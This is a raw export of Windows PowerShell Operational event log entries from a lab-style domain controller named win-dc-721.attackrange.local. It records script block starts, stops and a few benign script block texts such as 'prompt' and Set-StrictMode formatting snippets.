Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478895
Keywords=None
Message=Started invocation of ScriptBlock ID: 267f98f6-4cca-4a2b-ae91-576c5f578229
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478894
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: 267f98f6-4cca-4a2b-ae91-576c5f578229
Path:
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478893
Keywords=None
Message=Completed invocation of ScriptBlock ID: ca06aa1b-177a-4689-9498-1195c0905ec9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478892
Keywords=None
Message=Started invocation of ScriptBlock ID: ca06aa1b-177a-4689-9498-1195c0905ec9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6486e79f-85c1-448f-a72c-cd908b7c857d
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478890
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9977b850-34e8-42e4-a697-d3c6bfbce619
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478889
Keywords=None
Message=Completed invocation of ScriptBlock ID: a8e4500d-dea0-4c12-9b07-1211b99fa9eb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478888
Keywords=None
Message=Completed invocation of ScriptBlock ID: a94aafd9-20d5-4b97-804a-d64f984a7294
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478887
Keywords=None
Message=Started invocation of ScriptBlock ID: a94aafd9-20d5-4b97-804a-d64f984a7294
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478886
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5ee3323a-da1a-4e88-80c7-27401c836ac4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478885
Keywords=None
Message=Started invocation of ScriptBlock ID: 5ee3323a-da1a-4e88-80c7-27401c836ac4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478884
Keywords=None
Message=Completed invocation of ScriptBlock ID: b1ab4dc0-74ec-44f5-99a1-740f0f3055f2
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478882
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478881
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478880
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478879
Keywords=None
Message=Started invocation of ScriptBlock ID: b1ab4dc0-74ec-44f5-99a1-740f0f3055f2
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478878
Keywords=None
Message=Started invocation of ScriptBlock ID: a8e4500d-dea0-4c12-9b07-1211b99fa9eb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 18112540-b6c5-4351-8b4f-3433ca6f80bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478876
Keywords=None
Message=Started invocation of ScriptBlock ID: 18112540-b6c5-4351-8b4f-3433ca6f80bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478875
Keywords=None
Message=Completed invocation of ScriptBlock ID: a8e4500d-dea0-4c12-9b07-1211b99fa9eb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478874
Keywords=None
Message=Completed invocation of ScriptBlock ID: a94aafd9-20d5-4b97-804a-d64f984a7294
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478873
Keywords=None
Message=Started invocation of ScriptBlock ID: a94aafd9-20d5-4b97-804a-d64f984a7294
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478872
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5ee3323a-da1a-4e88-80c7-27401c836ac4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478871
Keywords=None
Message=Started invocation of ScriptBlock ID: 5ee3323a-da1a-4e88-80c7-27401c836ac4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478870
Keywords=None
Message=Completed invocation of ScriptBlock ID: b1ab4dc0-74ec-44f5-99a1-740f0f3055f2
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478868
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478867
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478866
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478865
Keywords=None
Message=Started invocation of ScriptBlock ID: b1ab4dc0-74ec-44f5-99a1-740f0f3055f2
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478864
Keywords=None
Message=Started invocation of ScriptBlock ID: a8e4500d-dea0-4c12-9b07-1211b99fa9eb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 18112540-b6c5-4351-8b4f-3433ca6f80bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478862
Keywords=None
Message=Started invocation of ScriptBlock ID: 18112540-b6c5-4351-8b4f-3433ca6f80bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478861
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478860
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479126
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2ef9d7b6-1bb1-47a1-8529-cd609018d01c
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479125
Keywords=None
Message=Started invocation of ScriptBlock ID: 2ef9d7b6-1bb1-47a1-8529-cd609018d01c
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479124
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2b7d7beb-79e7-457b-bdf6-bd843e1e9332
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479123
Keywords=None
Message=Started invocation of ScriptBlock ID: 2b7d7beb-79e7-457b-bdf6-bd843e1e9332
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479122
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8faadcd1-3dea-4458-8472-b1160be9937d
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479121
Keywords=None
Message=Started invocation of ScriptBlock ID: 8faadcd1-3dea-4458-8472-b1160be9937d
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479120
Keywords=None
Message=Completed invocation of ScriptBlock ID: c7f999b9-b820-4bcd-a832-337a3cc509de
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479119
Keywords=None
Message=Started invocation of ScriptBlock ID: c7f999b9-b820-4bcd-a832-337a3cc509de
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479118
Keywords=None
Message=Completed invocation of ScriptBlock ID: 13b71ddf-012c-4345-9fa9-bf2ef98d9efe
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479117
Keywords=None
Message=Started invocation of ScriptBlock ID: 13b71ddf-012c-4345-9fa9-bf2ef98d9efe
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479116
Keywords=None
Message=Completed invocation of ScriptBlock ID: b562d7d2-6d9a-4e2d-a8c0-4241cf339baf
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4e0c54f3-34a6-4c4f-9f61-396fe0b876e5
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4e0c54f3-34a6-4c4f-9f61-396fe0b876e5
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479113
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.OriginInfo }
ScriptBlock ID: 4e0c54f3-34a6-4c4f-9f61-396fe0b876e5
Path:
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479112
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1db2c21c-dbd4-46a3-83e8-ab8f87ec335c
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479111
Keywords=None
Message=Started invocation of ScriptBlock ID: 1db2c21c-dbd4-46a3-83e8-ab8f87ec335c
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479110
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }
ScriptBlock ID: 1db2c21c-dbd4-46a3-83e8-ab8f87ec335c
Path:
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479109
Keywords=None
